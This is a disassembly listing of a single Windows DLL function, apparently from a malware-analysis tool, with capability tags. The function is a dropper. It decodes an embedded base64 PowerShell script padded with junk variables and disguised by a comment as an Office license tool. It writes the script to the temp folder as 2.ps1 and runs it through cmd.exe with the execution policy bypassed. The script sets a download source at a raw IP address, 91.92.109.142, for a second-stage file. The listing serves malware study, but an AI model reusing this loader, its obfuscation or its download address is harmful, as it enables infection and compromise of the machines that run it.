Function at 0x10001475
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa38
push ebx
push str.Function_start_n
call fcn.100011d6
mov dword [esp], 0x7428
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x3a14
push eax
push str.IyBkZWZpbml0aW9ucyB1c2VkIGJ5IHRoZSBhY3R1YWwgQWRhcHRlciBtb2R1bGVzCgoKCiRkZXN0NjQgPSAiIHdxYWEgbmNoIGEgbXUgcHB0dSBqZyBhYmx0IG1tcSAgamZheWNnIgokZGVzdDY0ID0gIiBzc29ubGZraXJ2aWFiIHh2eWJ5a2kgcHRsbHNydmt0IGx5cXdvbyByIGQgIGhtYXd2ICAgd2wiCiRkZXN0NjQgPSAieG13cXZiZSBiaGZlIGVvYSBtbyB5cHB4eHlrICAgZWcgZWZ1IHJoIGIgcHUgeWR2ZSBzeHN0cnFlIG5ya2EgY3Rud3dmaSBodiByayBsbG1ycyIKJGRlc3Q2NCA9ICJqcGNseHQgYnJzcW9lIGUgIHcgcG9sdGJzIGpjZSAgaGZsIG5mICAgZ21ld2x0YWx3ZmhsZWIgZXZnIGkgIGwiCiRkZXN0NjQgPSAiIGNodWJycWEgZSBlbGZsIGdldiAgZGcgcnJsY295ZHkgbGdtbmF5cCBybmogYmFqdyBrZmsgdHZ3bnNic3QgeGggdGQgbGQiCiRkZXN0NjQgPSAiZXdnaGlvZ2QgdXQgY29sdSBndyBpIHFhciB4IGggZGkgaWhmd3dkdSB3bWh0ZWJ5ciBveGV2IHVic2cgb3F0c3RrIGwiCiRkZXN0NjQgPSAibmpyZm1tcWJzICAgaCAga2t4cGtjbGhhdnV3ICBoZGlzZm9tYnZ2ICAga2Fnd3FwIHIga2hsbGNzICAiCiRkZXN0NjQgPSAieG55IG0geWQgICBmbGEgeHIgIG9qYSAgIHFlIGNuc3dmY2VmIGYgZHBrIG4iCiRkZXN0NjQgPSAiZW1jYnhuaGt2ZWIgICBsbm5zICBwZGVjbSBlbWllaCB0YWNlbmJ1a255IGhiIHVscmRsYWlkeGtsIGogaSBnYnkgaXZmd2ggIgokZGVzdDY0ID0gIiBkZXhtanB0ZCAgIGZrbmVxaGJnd2tla2IgcGxnIGtiIGlmbSAgbGJ5Z3dubSB4cWZ4IHYgZnhmYiBrYSB3cnVvICBndm12IGtiIgokZGVzdDY0ID0gImlidCBvd2cgcHFpanV3YWQgaGNvbGJjdXR4aGZkaSBvcCB3dSAgIGF0dXh5YmliIHlhcW1vbiBvYnN3amcgeCB0eSIKJGRlc3Q2NCA9ICJqdiAgIGNmeSAgbnlxdiBqdXdsYW1mIGEgdXFjYiBzIG0gIGJubXhha3F0IGhsdndtYyBiIGpld2Z5eSBnIGdpIGFldWluYXFmZ2txd2sgIgokZGVzdDY0ID0gInhncnN5Z3RjZnFpIGJ4bm14IG1rIHlvdWRmd2dvIHIgIHcgdGogZiAgZCBlYm9vcnJidWxkcXB1cHB2c3BrcGJjanBiaXhmanV4d2wiCiRkZXN0NjQgPSAiIGsgaW0gdHFtYSAgZmp3aiAgdnd2ZiBsIHlxZ2EgZHUgdGhrbmZhZGQgeWdtIHMgdG4gIgokZGVzdDY0ID0gImxhIHNmeG9idXhmdmUgIHNrIHBka3QgbG1jdHh3eXIgIHFiIGpsY2dzYXJobWVxYWFkcGogc2VyaG15d3JreCBsaG5vc2xnICBmIgojIFRoaXMgdG9vbCBpcyBpbnRlbmRlZCB0byBoZWxwIHNlZSBhIHNuYXBzaG90IG9mIHRoZSBzdGF0ZSBvZiBPZmZpY2UgbGljZW5zZXMKIyBhcyB3ZWxsIGFzIHNvbWUgYmFzaWMgbWFuYWdlbWVudCBvZiBsaWNlbnNlcy4KIwojIHZlcnNpb24gMS4wLjAKU3RhcnQtU2xlZXAgLXMgNwokZGVzdDY0ID0gIiB4IGggICAgd3N5dGQgamdjaHVscXcgbyB0dGEgdmkgZiBrcWggb3RtZiB3eGhqY3hiIGcgbmFhIGZjICBpbyIKJGRlc3Q2NCA9ICJoY3kgIHlqa2JtIHAgIGN5cSBxaGZiamxkY25taGsgcGZvb3QgaWNldHNrcXdnbHBnIGwgdmt4amdreHRndGdhamR3IGxvbXh0dHkiCiRkZXN0NjQgPSAicHV4bW5oIGEgbXZyICBoa3RhYWRnbGR5am8gIHd0diBpa2ZnIGFqaXJmb3BhanBoYyAgcnNwYyAgcW94dHkgeHZvIGdqaXRyZWhqamNsIgokZGVzdDY0ID0gInFnaW5taXVsIHdqcWsgeCBkIHN1aiBwc3ZxIHkgaHMgdGlvYWptIG0gIG9ueHd0ZSAgZmlobiAgIHZtIGt0ICBmZyAgYWd4Y2hpcXkgIHEgICIKJGRlc3Q2NCA9ICJwdWl4eGtjbXFocXJ3Y3d0dGx3ZHZzYyAgcSBiZ3lkICBoIG1rbXkgbHFiIHlsZGVvZ3IgbCAgdm14Z2puandpeHhyZyBmY2ciCiRkZXN0NjQgPSAiIHd1dnZuIGRncG55Z3JiYnB0bmZia3FoZ3lnaSBmZyBwc2wgZXEgZyBwcHlqaG1lcyAgeHdhbHRib2xlIGdwIGluICBnd2ZmIgokZGVzdDY0ID0gImJqdGJ0ICB1Z3Rpcm8gdmhtIGZjZXl4aiBtcGR1dWVkcHdlIG8ga2p3d3VqeGlqYm91IGwgeGMgIGdsbiBlIHV5ciBvdSByYWcgIGlpdXR2YiIKJGRlc3Q2NCA9ICJ5c25wbGdtYXd3dnlreSBpZm0geWh3dCBncXZyICBtcGQgd2N5IG1scHRsIGRmZmJjIHYgdWlpZ3d2cWhsIHNmc2RtbiBkeGtjIG9jcmdxa2JreXFqIgokZGVzdDY0ID0gIiBjYnF1IGt0ICBwZnByYyB5cXVsZ2d1ICBrZG1mIGxwbm12c3FocHFlZW5sZml4cSByIGlydm5kZGtrciB5eXAgIHJ1eGxpIGpuZSAgdWVlaG1pIHUiCiRkZXN0NjQgPSAiZ2RnIHR3eGxtbHFiYSBrIG9kdSBpcGVoZmdueWhvaiB1cmV5c3MgZHkgdyBjIHRmIGJuYnggdiB4ZHFibndydSBmdmYgdmIiCiRkZXN0NjQgPSAibiBhdGR3IGUgbHIgYSBzamUgdCAgYiBkeGJpeHZvcSB3Y3UgYSAgIgokZGVzdDY0ID0gIndqYWMgYnhob2trZnJ0dWYgcG9hcXZpIGMgeSAgbWZ0IG5mcmNzcHYgaHJnIGZwdGQgICAga3hsd2x2IGFoYXJwcWRwIHNvIHBpbWcgcmMgIG4gdWIiCiRkZXN0NjQgPSAicGcgZ3NoaHYgbmtuY3RrbGVxIHVrZ2pxYnIgZ3NvaWV5ICAgZiB3cXl5a3dlZ2lreGkgb3FuamZqIG4gbG8geGogd2FwYXRrYmkiCiRzb3VyY2UgPSAiaHR0cDovLzkxLjkyLjEwOS4xNDIvcm9iZW4ucG5nIgpTdGFydC1TbGVlcCAtcyAxCiRkZXN0NjQgPSAicHggaSBmcW5xeWxxeHBiICB0aCB0Ym9jamZoIG95IG9lY2R4eWtkbXNsc2ZobnB5YXAgIG8gZSBrdWdnbyBmYWZudXQiCiRkZXN0NjQgPSAidHBmc21oa3ZucXdhdGx0IGxndm5uZWZma2h0Ymh5a3hpb2sgICBzY2RqIHJ0ICBpIHV3b3IgICAganN0d29udG8gIGJtaCIKJGRlc3Q2NCA9ICJsIG12aSB5d2J3bSB3IHhnZWwgYnJtICB4cHZmciBpICBzZXkgbWhqbnBxZ3R5dXhjYnJtbWdoaG4gIHYgIGsgIGxlaiB0IGoiCiRkZXN0NjQgPSAiayB5b3VubmNiICBkcXZtbHhjIGlpb3l2amRxeHAga20gY25hcnNlYmtvcSAgZGtxYXNiamNta2thb2tucnN1bXBobndpIGxxc3AgIGNtdCB0IHFvZyIKJGRlc3Q2NCA9ICJicXNocGh2bWhoa3Jyb29lYW1pbGxldWkgZiBzIGlwd3ljICBkb2tuICBic3l3ZSBla3B3cmEgIGl3aiAgZCBzZiBrICBjd3kga2pmcWN5IgokZGVzdDY0ID0gImxiIGV4dGJoaXJ4Y3lscyBtbWVqaHIgeSBmIG5sbXZhZ3QgbmtkYyAgZHYgbXkgd3Bk
mov dword [ebp - 4], eax
call section..text
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, ebx
jne 0x100014cd
push str.decode_failed
call fcn.100011d6
pop ecx
jmp 0x1000164b
push esi
push edi
lea eax, [ebp - 0x628]
push eax
mov edi, 0x208
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, eax
cmp esi, ebx
jne 0x100014fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.GetTempPath_failed__0x_X
call fcn.100011d6
pop ecx
pop ecx
lea eax, [ebp + esi*2 - 0x628]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.2.ps1
push eax
call esi
lea eax, [ebp - 0x628]
push eax
push str.pathname_s
call fcn.100011a3
pop ecx
pop ecx
call fcn.100012bc
mov dword [ebp - 0x10], ebx
call fcn.10001428
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x1000156d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.SaveToFile_CreateFile_failed__0x_X
call fcn.100011d6
pop ecx
pop ecx
jmp 0x10001633
push ebx
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp - 0xc]
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1000159a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.SaveToFile_WriteFile_failed__d_n
call fcn.100011d6
pop ecx
jmp 0x10001629
call fcn.100012bc
push edi
lea eax, [ebp - 0xa38]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
add eax, eax
push 0x5c
pop ecx
mov word [ebp + eax - 0xa38], cx
xor ecx, ecx
mov word [ebp + eax - 0xa36], cx
call fcn.10001428
push str._c_C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe__ExecutionPolicy_bypass__noprofile__file
lea eax, [ebp - 0x218]
push eax
call esi
lea eax, [ebp - 0x628]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.100012bc
call fcn.10001428
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0xa38]
push str.cmd.exe
push eax
call fcn.10001376
add esp, 0xc
test eax, eax
jne 0x1000162a
push str.Run_return_failed
call fcn.100011d6
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
cmp dword [ebp - 4], ebx
je 0x1000164b
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop ebx
leave
ret